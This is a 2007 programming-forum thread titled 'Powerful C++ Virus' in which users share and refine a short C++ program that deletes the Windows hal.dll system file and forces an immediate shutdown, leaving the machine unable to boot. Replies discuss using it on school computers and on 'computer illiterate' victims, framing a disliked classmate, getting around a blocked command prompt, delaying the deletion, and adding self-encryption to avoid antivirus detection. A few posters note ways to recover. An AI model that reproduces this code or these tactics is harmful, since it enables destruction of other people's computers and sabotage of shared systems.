Adblock breaks this site

Powerful C++ Virus

Discussion in 'Programming General' started by SidStudios, Mar 14, 2007.

Thread Status:
Not open for further replies.
  1. SVXX

    SVXX Guest

    Referrals:
    0
    Powerful C++ Virus

    kk guys,first things first,for all who think hal.dll doesn't get deleted,it does. I tested this code(without the shutdown part) after taking a backup copy of hal.dll on another place in my HDD. It got deleted in system32,and I put it back.
    Second,the shutdown thingy aint appropriate Sid..it doesn't work =/ plus std::remove doesn't work either since scope resolution operator( :: ) is only used in classes. I used "system" in my code

    So I fixed the code..here it is.:D
    Code:
    #include <cstdlib>
    #include <iostream>
    
    using namespace std;
    
    int main(int argc, char *argv[])
    {
        system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME
        system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
        system("PAUSE");
        return EXIT_SUCCESS;
    }
    The "del" command is used in DOS to delete stuff. "-q" is a parameter which means force delete,or delete without asking.
    shutdown -s -f -t 00 means shutdown,force close everything running,in 00 seconds time.:D :D Also,COMPILE the code,DONT RUN IT. Sid's code's shutdown didn't work,so I was safe.... @_@ lol

    Um btw...if Windows aint in C...how would this work? is there any search thingy for this? Suppose its in D:,is there a code for it to look in the drives then delete hal.dll?

    *Edit*
    Nevermind I found out. Look in code.
     
  2. SidStudios

    SidStudios Active Member

    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0
    Powerful C++ Virus

    I improvised the shutdown code from memory. Nice addition, though; I'll add it to the front page. What you accomplished in your quote box above was using BATCH which does not utilize the true purpose of C++...
     
  3. SVXX

    SVXX Guest

    Referrals:
    0
    Powerful C++ Virus

    Well whats the harm in a bit of mixing? XD
     
  4. Govind

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus
    Powerful C++ Virus

    *Sigh*

    Proper use of the Windows Recovery Console will easily correct this.
     
  5. SVXX

    SVXX Guest

    Referrals:
    0
    Powerful C++ Virus

    You know what,SMR...thats true..but most of the people we fool are computer illiterate. So you see...xD lol
     
  6. SidStudios

    SidStudios Active Member

    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0
    Powerful C++ Virus

    That is if someone still has the CD. I normally download an XP Pro SP2 OEM ISO file from the web, burn it, install Windows and then lose the CD.

    What I did to correct the problem was I connected an IDE<-->USB cable from my computer to my laptop, plugged in the IDE Hard-Drive power cable and then switched it on. It found my hard-drive instantaneously and I just copied Hal.dll over.

    I go to a laptop school, and people are so computer illiterate that they do not know how to create something in Visual Basic.
     
  7. Dust Looter

    Dust Looter Member

    Joined:
    May 1, 2007
    Posts:
    80
    Referrals:
    0
    Sythe Gold:
    0
    Powerful C++ Virus

    I can pwn the school computers lol
     
  8. SidStudios

    SidStudios Active Member

    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0
    Powerful C++ Virus

    One thing I've realised after finding out that they blocked the CMD was that you can just use "Command.com" instead. We have limited rights on our computers, which disables us from doing anything bad, easily.
     
  9. Dust Looter

    Dust Looter Member

    Joined:
    May 1, 2007
    Posts:
    80
    Referrals:
    0
    Sythe Gold:
    0
    Powerful C++ Virus

    Some computers don't have admin passwords on them :p lol jk I won't do anything bad.
     
  10. Govind

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus
    Powerful C++ Virus

    I keep every CD I burn. It's just so hard to find them in my disorganized desk :p

    Although yes, this will render it impossible for computer-illiterate users to start Windows.
     
  11. SidStudios

    SidStudios Active Member

    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0
    Powerful C++ Virus

    I keep my CD's too. I know where they are, as well. They're somewhere around my house. They're probably too scratched as well.

    Most tech people will not know what Hal.dll is and they will probably reformat the hard-drive and re-install Windows thinking that a virus has attacked their computer :p
     
  12. Xx jake xX

    Xx jake xX Forum Addict

    Joined:
    Jun 14, 2005
    Posts:
    407
    Referrals:
    0
    Sythe Gold:
    0
    Powerful C++ Virus

    this is not needed....you just gave millions of programmer noobs a virus and will do anything to send it to people...but congrats on the creation..
     
  13. SidStudios

    SidStudios Active Member

    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0
    Powerful C++ Virus

    The main purpose of this was to show people how to delete files in C++. I did not give millions of programmer noobs a virus; I merely gave them the source. The "programmer noobs" will have to learn how to compile it before sending it.
     
  14. Xx jake xX

    Xx jake xX Forum Addict

    Joined:
    Jun 14, 2005
    Posts:
    407
    Referrals:
    0
    Sythe Gold:
    0
    Powerful C++ Virus

    true true but those of whome who do can, but I dout any noob would be able to find out how to get it out. Sorry for the misunderstanding ;)
     
  15. Teizhcial

    Teizhcial Guest

    Referrals:
    0
    Powerful C++ Virus

    lol goodbye cheap IBM LENENO computer at my school. Just hope I dont get caught... aw I never get caught becasue the teachers are total n00bs at computers...

    THANK YOU FOR THE VIRUS!!!
    :)
     
  16. SidStudios

    SidStudios Active Member

    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0
    Powerful C++ Virus

    Lol, the model of the computer doesn't really make a difference. Hal.dll can be easily restored with proper computer knowledge, although I'm not sure how to open up laptops.
     
  17. Gofez0r

    Gofez0r Guru

    Joined:
    Jan 21, 2007
    Posts:
    1,820
    Referrals:
    1
    Sythe Gold:
    0
    Powerful C++ Virus

    In my school theres some kinda system that just replaces all the files for windows etc. at restart..

    @jake, if they wanted virus sources enough they could just google and find loads of them..
     
  18. Teizhcial

    Teizhcial Guest

    Referrals:
    0
    Powerful C++ Virus

    First I was just pointing out the computers that my school uses are cheap crap I know they have the hal.dll files and I know it would work. Also "In my school theres some kinda system that just replaces all the files for windows etc. at restart.." well you know the computer would not restart right? Thats the point or you could just remove the shutdown command on say like the computer that someone you REALLY hate at your school is using and they get the blame. How would they get the blame well theres numbers on every comp. and my fat science teacher passes around a list with numbers beside it you write your name so they can tell what computer your on. Sorry I got a little carried away. :)
     
  19. SidStudios

    SidStudios Active Member

    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0
    Powerful C++ Virus

    I'm pretty sure there would be a work-around to make it delete hal.dll after 2 or 3 startups. Basically, I'm saying there's probably a way to delete hal.dll after a specific number of startups.
     
  20. Sparq

    Sparq Active Member

    Joined:
    Feb 12, 2007
    Posts:
    249
    Referrals:
    0
    Sythe Gold:
    0
    Powerful C++ Virus

    Lol, on most systems you would get windows file protection jumping up and down like a jack russel telling you your computers screwed unless you insert the cd to repair the problem.

    Not to mention if you have zonealarm it will alert you of the problem and tell you not to allow this program to delete it.

    Most AV systems that run heurustics will pick this lil critter up and warn you of it.

    Last of all....Why write this in C++? Shouldnt you write it in assembly?

    Powerful? No
    Simple? Yes
    Detectable? Yes
    Fixable? Yes (Well for some)

    If you wanted it more powerful shouldnt you make it encrypt and decrypt itself? To prevent detection? and maybe melt itself after copying itself somewhere? Just kinda stuff like this.
     
< Visual Basic 2008 screenshot taker help. | [Dll] Flaming Hotkeys, Really simple to use >
Thread Status:
Not open for further replies.


 
 
Adblock breaks this site